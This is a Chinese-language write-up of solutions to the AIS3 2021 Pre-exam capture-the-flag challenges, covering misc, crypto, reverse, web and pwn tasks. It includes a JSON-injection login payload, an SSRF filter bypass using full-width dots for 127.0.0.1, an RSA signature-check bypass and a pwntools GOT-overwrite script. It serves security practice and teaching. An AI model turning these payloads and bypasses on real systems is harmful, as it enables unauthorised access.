Information
ID | gunjyo |
---|---|
Date | 2021/05/22 10:00 - 2021/05/24 17:30 |
Rank | 61(正取 AIS3) |
Score | 1346 |
Prologue
這是我第一次參加 AIS3 Pre-exam,最終成績是 61 名,過程中運氣好有上去到 43 名,對我來說覺得還不錯><
剛好落在錄取的 75 名內,萬幸~
隔年應該會因為準備大學而無法參加,希望後年能夠拿到更好的成績~
事不遲疑,直接進到 write-up 吧
註 有些題目跟 MFC 是重疊的哦~ write-up 是一致的
Misc
Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi (100)
BGM: 亜咲花「I believe what you said」
TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
Author: splitline feat. Hojo Satoko
Welcome 題
TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
連線後會跳轉到輸入數字密碼的介面,只要按錯一個就會跳 Locked,要重新連線
暴力嘗試即可
密碼 2025830455298
flag
AIS3{H1n4m1z4w4_Sh0k0gun}
HINT 附上了影片
Microcheese(141)
是一個撿石頭遊戲,玩家和電腦輪流選任一排的任意數目的石子,將它們移去,最後清空盤面的獲勝。
import random
from typing import Tuple
class Game:
'''
a simple Nim game with normal rules.
grundy's theorem: if nim_sum() is zero, then the player to move has a
winning strategy. otherwise, the other player has a winning strategy.
'''
def __init__(self):
self.stones = []
def generate_winning_game(self) -> None:
'''generate a game such that the first player has a winning strategy'''
self.stones = []
xor_sum = 0
piles = random.randint(6, 8)
for i in range(piles):
self.stones.append(count := random.randint(1, 31))
xor_sum ^= count
if xor_sum == 0:
self.stones.append(random.randint(1, 31))
def generate_losing_game(self) -> None:
'''generate a game such that the second player has a winning strategy'''
self.stones = []
xor_sum = 0
piles = random.randint(6, 8)
for i in range(piles):
self.stones.append(count := random.randint(1, 31))
xor_sum ^= count
if xor_sum != 0:
self.stones.append(xor_sum)
def make_move(self, pile: int, count: int) -> bool:
'''makes a move, returns whether the move is legal'''
if pile not in range(0, len(self.stones)):
return False
if count not in range(1, self.stones[pile] + 1):
return False
self.stones[pile] -= count
if self.stones[pile] == 0:
self.stones.pop(pile)
return True
def nim_sum(self) -> int:
xor_sum = 0
for count in self.stones:
xor_sum ^= count
return xor_sum
def ended(self) -> bool:
'''
checks if the game has ended, i.e., the player has no more moves.
if True, the current player loses the game
'''
return len(self.stones) == 0
def show(self) -> None:
print('+---+-------------- stones info ------------------+')
for pile, count in enumerate(self.stones):
print(f'| {pile} | {"o" * count:<43} |')
def load(self, game_str: str) -> None:
'''loads a saved game from string'''
self.stones = list(map(int, game_str.split(',')))
def save(self) -> str:
'''returns the current game as a string'''
return ','.join(map(str, self.stones))
class AIPlayer:
'''
a perfect Nim player. if there exists a winning strategy for a game, this
player will always win.
'''
def __init__(self):
pass
def get_move(self, game: Game) -> Tuple[int, int]:
'''
if there is a winning strategy, returns a move that guarantees a win.
otherwise, returns a random move.
'''
nim_sum = game.nim_sum()
if nim_sum == 0:
# losing game, make a random move
pile = random.randint(0, len(game.stones) - 1)
count = random.randint(1, game.stones[pile])
else:
# winning game, make a winning move
for i, v in enumerate(game.stones):
target = v ^ nim_sum
if target < v:
pile = i
count = v - target
break
return (pile, count)
import myhash
from game import Game, AIPlayer
from text import *
flag = '(no flag here)'
hash = myhash.Hash()
def play(game: Game):
ai_player = AIPlayer()
win = False
while not game.ended():
game.show()
print_game_menu()
choice = input('it\'s your turn to move! what do you choose? ').strip()
if choice == '0':
pile = int(input('which pile do you choose? '))
count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
print_error('that is not a valid move!')
continue
elif choice == '1':
game_str = game.save()
digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
print(game_str + ':' + digest)
return
elif choice == '2':
break
# no move -> player wins!
if game.ended():
win = True
break
else:
print_move('you', count, pile)
game.show()
# the AI plays a move
pile, count = ai_player.get_move(game)
assert game.make_move(pile, count)
print_move('i', count, pile)
if win:
print_flag(flag)
exit(0)
else:
print_lose()
def menu():
print_main_menu()
choice = input('what would you like to do? ').strip()
if choice == '0':
print_rules()
elif choice == '1':
game = Game()
game.generate_losing_game()
play(game)
elif choice == '2':
saved = input('enter the saved game: ').strip()
game_str, digest = saved.split(':')
if hash.hexdigest(game_str.encode()) == digest:
game = Game()
game.load(game_str)
play(game)
else:
print_error('invalid game provided!')
elif choice == '3':
print('omg bye!')
exit(0)
if __name__ == '__main__':
print_welcome()
try:
while True:
menu()
except Exception:
print('oops i died')
從 game.py
的規則可以看到有先手贏的棋盤(generate_winning_game()
)和後手贏的棋盤(generate_losing_game()
),我是先手,所以 SERVER 會給後手贏的棋盤,理論上來說應該贏不了。
但問題出在 server.py
中的 play()
,只有判斷 choice
為 0,1,2 的狀況,因此若我們輸入非 0,1,2 的數字便可跳過回合,直到剩下最後一排為止,便可以獲勝得到 flag
Crypto
Microchip(102)
Author: toxicpie
#include "python.h"
def track(name, id):
if (len(name) % 4 == 0) :
padded = name + "4444"
elif (len(name) % 4 == 1) :
padded = name + "333"
elif (len(name) % 4 == 2) :
padded = name + "22"
elif (len(name) % 4 == 3) :
padded = name + "1"
keys = list()
temp = id
for i in range(4):
keys.append(temp % 96)
temp = int(temp / 96)
result = ""
for i in range(0, len(padded), 4) : #10 round
nums = list()
for j in range(4) :
num = ord(padded[i + j]) - 32
num = (num + keys[j]) % 96
nums.append(num + 32)
result += chr(nums[3])
result += chr(nums[2])
result += chr(nums[1])
result += chr(nums[0])
return result #len -> 40
name = open("flag.txt", "r").read().strip()
id = int(input("key = "))
print("result is:", track(name, id))
output: =Js&;*A``odZHi\'>D=Js&#i-DYf>Uy\'yuyfyu<)Gu
把 FLAG 每四個字就翻轉,接著加上 key 後 mod 96,再加上 32 後取字元值,就會得到 output
只要有 key 就可以用 result 逆推回 flag
由於我們知道 flag format = AIS3{printable}
,因此利用AIS3
就可以輕易逆推 key
4 個而已慢慢用手推即可
把 result
推回陣列(如下script),取前四個數字(6,83,42,29)
ord('A') - 32 = 33
( 33 + key[0] ) % 96 = 6 -> key[0] = 69
ord('I') - 32 = 41
( 41 + key[1] ) % 96 = 83 -> key[1] = 42
ord('S') - 32 = 51
( 51 + key[2] ) % 96 = 42 -> key[2] = 87
ord('3') - 32 = 19
( 19 + key[3] ) % 96 = 29 -> key[3] = 10
key={69,42,87,10}
接著把 result
依據 key 逆推回去即可
script
result = '=Js&;*A`odZHi\'>D=Js&#i-DYf>Uy\'yuyfyu<)Gu'
n = list()
for i in range(0,40,4):
for j in range(4):
n.append(ord(result[i+j])-32)
print(n)
#n = [29, 42, 83, 6, 27, 10, 33, 64, 79, 68, 58, 40, 73, 7, 30, 36, 29, 42, 83, 6, 3, 73, 13, 36, 57, 70, 30, 53, 89, 7, 89, 85, 89, 70, 89, 85, 28, 9, 39, 85]
for i in range(0,40,4):
n[i],n[i+1],n[i+2],n[i+3] = n[i+3],n[i+2],n[i+1],n[i]
print(n)
#n = [6, 83, 42, 29, 64, 33, 10, 27, 40, 58, 68, 79, 36, 30, 7, 73, 6, 83, 42, 29, 36, 13, 73, 3, 53, 30, 70, 57, 85, 89, 7, 89, 85, 89, 70, 89, 85, 39, 9, 28]
key = [69,42,87,10]
for i in range(40):
print(chr(((n[i] + 96 - key[i%4]) % 96) + 32) , end='')
執行 script 後得到AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}22
可以看到 padding 為 22
flag
AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
ReSident evil villAge(136)
註:此題用了非正規解
import socketserver
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from binascii import unhexlify
class Task(socketserver.BaseRequestHandler):
def recv(self):
return self.request.recv(1024).strip()
def send(self, msg):
self.request.sendall(msg + b'\n')
def handle(self):
privkey = RSA.generate(1024)
n = privkey.n
e = privkey.e
self.send(b'Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.')
self.send(b'n = ' + str(n).encode())
self.send(b'e = ' + str(e).encode())
while True:
self.request.sendall(b'1) sign\n2) verify\n3) exit\n')
option = self.recv()
if option == b'1':
self.request.sendall(b'Name (in hex): ')
msg = unhexlify(self.recv())
if msg == b'Ethan Winters' or bytes_to_long(msg) >= n: # msg+k*n not allowed
self.send(b'Nice try!')
else:
sig = pow(bytes_to_long(msg), privkey.d, n) # TODO: Apply hashing first to prevent forgery
self.send(b'Signature: ' + str(sig).encode())
elif option == b'2':
self.request.sendall(b'Signature: ')
sig = int(self.recv())
verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
if verified:
self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
else:
self.send(b'Well done!')
else:
break
class ForkingServer(socketserver.ForkingTCPServer, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 42069
print(HOST, PORT)
server = ForkingServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
題目是 RSA 簽證
目標是把 signature 送進去以達到 pow(sig, e, n) == bytes_to_long(b'Ethan Winters')
原則上只要把 Ethan Winters 轉成 hex 丟進去讓它跑出 signature 之後,再丟回去讓他 verify 就可以了。
但是從 if msg == b'Ethan Winters' or bytes_to_long(msg) >= n: # msg+k*n not allowed
這行可以看到 check msg == Ethan Winters
會被擋掉。
由於送進去的是字串,於是要讓數字不變但是字串改變,就去嘗試 Bypass,發現前面加上 00
可以繞過,所以傳 00
加上 Ethan Winters
轉成 hex
就可以了
直接上圖。
Republic of South Africa (235)
RSA collision or something IDK I am a physicist
Author: Kuruwa
chall.py
from Crypto.Util.number import *
from secret import flag
import random
import gmpy2
gmpy2.get_context().precision = 1024
def collision(m1, v1, m2, v2):
return v1*(m1-m2)/(m1+m2) + v2*(2*m2)/(m1+m2), v1*(2*m1)/(m1+m2) + v2*(m2-m1)/(m1+m2)
def keygen(digits): # Warning: slow implementation
m1 = 1
m2 = 10 ** (2*digits-2)
v1 = gmpy2.mpfr(0)
v2 = gmpy2.mpfr(-1)
count = 0 # p+q
while abs(v1) > v2 or v1 < 0:
if v1 < 0:
v1 = -v1
else:
v1, v2 = collision(m1, v1, m2, v2)
count += 1
while True:
p = random.randint(count//3, count//2)
q = count - p
if isPrime(p) and isPrime(q):
break
return p, q
p, q = keygen(153)
n = p*q
e = 65537
m = bytes_to_long(flag)
print('n =', n)
print('e =', e)
print('c =', pow(m, e, n))
從題目名稱很明顯可以知道是 RSA
count = p+q
n = p*q
由於這兩個式子,可以很輕易地推出 phi
phi = (p-1)*(q-1) = p*q - (p+q) +1 = n - count +1
既然我們已經有 n
了,那目標是要求出 count
但 count
會是非常大的數字,根本沒辦法爆搜
TMI:當時因為
collision()
是物理中完全彈性碰撞的公式,所以花很多時間在研究那邊QQ
於是把函式丟進去 ipython 裡面看看有什麼
發現 count
長得很像 pi
,而且位數會等於丟給 keygen()
的值digits
就代表位數
於是便上網查了 153 位數的 pi
接著按照一般 RSA 流程就可以得到flag了
script
from Crypto.Util.number import *
n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536
count=314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848
phi = n-count+1
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
flag
AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
順帶一提 flag 內的 youtube 網址是利用物理的彈性碰撞去計算pi
,還滿有趣的,感興趣的可以去看看影片~~
Reverse
Piano(158)
Is this a MUSIC GAME?
Author: CSY54
題目給了一個 .exe 檔
,執行後會是鋼琴界面(真的有聲音)
題目還給一個 .dll 檔
,可以用 dnSpy
來 反編譯 ,就可以看到它在做的事情
註 記得SCIST Reverse III是在講各種技巧,所以就在比賽第一天晚上去看了這個影片,到1:29:15 的時候開始講 C#、Net,其中有講到 dnSpy 這個工具的用法,推薦大家去看~~~
// piano.Piano
// Token: 0x06000003 RID: 3 RVA: 0x00002220 File Offset: 0x00000420
private bool isValid()
{
List<int> list = new List<int>
{
14,
17,
20,
21,
22,
21,
19,
18,
12,
6,
11,
16,
15,
14
};
List<int> list2 = new List<int>
{
0,
-3,
0,
-1,
0,
1,
1,
0,
6,
0,
-5,
0,
1,
0
};
for (int i = 0; i < 14; i++)
{
if (this.notes[i] + this.notes[(i + 1) % 14] != list[i])
{
return false;
}
if (this.notes[i] - this.notes[(i + 1) % 14] != list2[i])
{
return false;
}
}
return true;
}
我們可以拿到 list
和 list2
然後他會去 check this.notes[]
可以看到想求出 this.notes[i]
的話只要把 (list[i] + list2[i]) / 2
就可以了
會得到答案的 index {7,7,10,10,11,11,10,9,9,3,3,8,8,7}
把得到的 index 值去對應到 dll檔
內每一個按鍵對應的值,按鋼琴鍵就會跳出 flag 了 (是升調的小星星哦😂)
flag
AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
🐰 Peekora 🥒
吃太甜要配什麼
可樂
因為 too 甜配 cola
Usage: python3 -m pickle flag_checker.pkl
Author: splitline
題目給了.pkl檔
和它的用法 python3 -m pickle flag_checker.pkl
c__builtin__
input
(S'FLAG: '
tRp0
0c__builtin__
getattr
p1
0g1
((c__builtin__
exit
c__builtin__
str
lS'__getitem__'
tRp2
0g2
(g1
(g0
S'startswith'
tR(S'AIS3{'
tRtR(tRg2
(g1
(g0
S'endswith'
tR(S'}'
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I6
tRS'__eq__'
tR(VA
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I9
tRS'__eq__'
tR(Vj
tRtR(tRg1
(g0
S'__getitem__'
tR(I9
tRp3
0g2
(g1
(g1
(g0
S'__getitem__'
tR(I11
tRS'__eq__'
tR(Vp
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I14
tRS'__eq__'
tR(g3
tRtR(tRg1
(g0
S'__getitem__'
tR(I1
tRp4
0g2
(g1
(g1
(g0
S'__getitem__'
tR(I5
tRS'__eq__'
tR(Vd
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I10
tRS'__eq__'
tR(Vz
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I12
tRS'__eq__'
tR(Vh
tRtR(tRg2
(g1
(g4
S'__eq__'
tR(g1
(g0
S'__getitem__'
tR(I13
tRtRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I8
tRS'__eq__'
tR(Vw
tRtR(tRg2
(g1
(g1
(g0
S'__getitem__'
tR(I7
tRS'__eq__'
tR(Vm
tRtR(tRc__builtin__
print
(S'Correct!'
tR.
跑跑看後會需要輸入 flag ,正確的話會跑出 correct!
tmi:看這題的時候是第三天早上三點多,不太能思考所以去排版,排起來不是很好看 w 就將就一下吧 XD
打開pkl檔
,用pickle opcodes看,先把t
換成 )
然後去排版
c__builtin__
input
(S'FLAG: '
)R
p0
0c__builtin__
getattr
p1
0g1
(
(c__builtin__
exit
c__builtin__
s)R
lS'__getitem__'
)R
p2
0
g2
(g1
(g0
S'startswith')R
(S'AIS3{')R
)R
()R
g2
(g1
(g0
S'endswith'
)R
(S'}'
)R
)R
()R
g2
(g1
(g1
(g0
S'__getitem__'
)R
(I 6
)R
S'__eq__'
)R
(V A
)R
)R
()R
g2
(g1
(g1
(g0
S'__getitem__'
)R
(I 9
)R
S'__eq__'
)R
(V j
)R
)R
()R
g1
(g0
S'__getitem__'
)R
(I 9
)R
p3
0g2
(g1
(g1
(g0
S'__getitem__'
)R
(I11
)R
S'__eq__'
)R
(Vp
)R
)R
()Rg2
(g1
(g1
(g0
S'__getitem__'
)R
(I 14
)R
S'__eq__'
)R
(g3
)R
)R
()Rg1
(g0
S'__getitem__'
)R
(I 1
)R
p4
0g2
(g1
(g1
(g0
S'__getitem__'
)R
(I 5
)R
S'__eq__'
)R
(V d
)R
)R
()Rg2
(g1
(g1
(g0
S'__getitem__'
)R
(I 10
)R
S'__eq__'
)R
(V z
)R
)R
()Rg2
(g1
(g1
(g0
S'__getitem__'
)R
(I 12
)R
S'__eq__'
)R
(V h
)R
)R
()Rg2
(g1
(g4
S'__eq__'
)R
(g1
(g0
S'__getitem__'
)R
(I 13
)R
)R
)R
()Rg2
(g1
(g1
(g0
S'__getitem__'
)R
(I 8
)R
S'__eq__'
)R
(V w
)R
)R
()Rg2
(g1
(g1
(g0
S'__getitem__'
)R
(I 7
)R
S'__eq__'
)R
(V m
)R
)R
()R
c__builtin__
print
(S'Correct!'
)R.
這裡著重的點在__getitem__
和__eq__
從Pickle opcodes寫到
GET = 'g' # push item from memo on stack; index is string arg
INT = 'I' # push integer or bool; decimal string argument
UNICODE = 'V' # push Unicode string; raw-unicode-escaped'd argument
所以猜是用 stack 的方式去跑,getitem
會取 "I"
後面的值 push 進來 stack 裡面,碰到 eq
就會把 V 的值跟 stack 頂端的 index 值做比較,錯誤就結束,所以從最上面開始模擬一次 stack 就可以得到 flag 了
get
6
eq
'A'
get
9
eq
'j'
get
9
get
11
eq
'p'
get
14
eq
get
1
get
5
eq
'd'
get
10
eq
'z'
get
12
eq
'h'
eq
get
13
get
8
eq
'w'
get
7
eq
'm'
按照 stack 的模式就可以推出 index 對應到的字元了!
送進去測試之後就會跳出 Correct!
flag
AIS3{dAmwjzphIj}
Web
ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
點開網址後可以看到是一個登入畫面
下面有給我們 Source Code
一開始就亂丟亂試都沒成功,於是花了點時間來看 Source
運用JS
的特性,users_db
的dict
如果去取一個不存在的東西會拿到None
跟null
進行 弱比較 會是False
所以可以把password
設成null
再加上JSON
後面的會覆蓋掉前面的
所以前面塞一些東西,然後password
後面再塞一些東西去閉合掉前後的"
只要保證最後一次username
不在users_db
內、password
是null
、showflag
是true
就可以了
Payload
admin","showflag":true,"username":"qq
qq","password":null,"username":"aaa
flag
AIS3{/r/badUIbattles?!?!}
HaaS
一開始點進去網址看會發現Method Not Allowed
把/haas
拔掉之後就會出現HealthCheck as a Service
的網頁
直接按下送出後會出現Error
嘗試改掉status
後發現會跳出alive
接著就被卡住了,後來想說是不是之前打CTF的時候出現的SSRF
,就去輸入localhost 127.0.0.1
,於是跳出了
既然他把我擋掉了,那應該代表要Bypass
上網查之後查到了用句號代替逗號的方法
但是直接輸入也不行,又被卡住了
後來想說打開BurpSuite
能不能看到更多東西
所以去研究了一下BurpSuite的教學文章
送了幾次網址後在Proxy
那邊複製他的格式然後把最底下的 url 改成http://127。0。0。1
urlencode後的字串,就可以得到flag了
flag
AIS3{V3rY_v3rY_V3ry_345Y_55rF}
PWN
Write Me (192) (賽後)
Author: lys0829
#include <stdlib.h>
#include <stdio.h>
int main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
void *systemgot = 0x404028;
void *scanfgot = 0x404040;
//void *systemgot = (void *)((long long)(*(int *)(systemptr+2))+(long long)(systemptr+6));
*(long long *)systemgot = (long long)0x0;
printf("Address: ");
void *addr;
long long v;
scanf("%ld",&addr);
printf("Value: ");
scanf("%ld",&v);
*(long long *)addr = (long long)v;
*(long long *)scanfgot = (long long)0x0;
printf("OK! Shell for you :)\n");
system("/bin/sh");
return 0;
}
從題目可以看到會在前面把 *systemgot
設為 0x0
呼叫 system()
的時候會跳到 *systemgot
執行,因為前面位址被改掉所以會噴錯
執行程式會讓你輸入 unsigned long long *address
, unsigned long long value
接著把 *address = value
我們的目標是把 *systemgot
改回原本的值
因此用 gdb
去查看就可以找到了
script
from pwn import *
context.arch = 'amd64'
#r = process('./gotplt')
r = remote('quiz.ais3.org', 10102)
# x/1x 0x404028 ->0x00401050
r.recvuntil(': ')
#0x404028
r.sendline('4210728')
r.recvuntil(': ')
#0x401050
r.sendline('4198480')
r.interactive()
Epilogue
第一次比賽還是很緊張的
再加上第一天有 MFC ,第二天有 T 貓決賽
於是第二天晚上就果斷不睡稱到比賽結束
在結束前十幾分鐘才解出 peekora,真的超刺激
Pre-exam 還是挺好玩的!!
有任何問題歡迎和我討論~~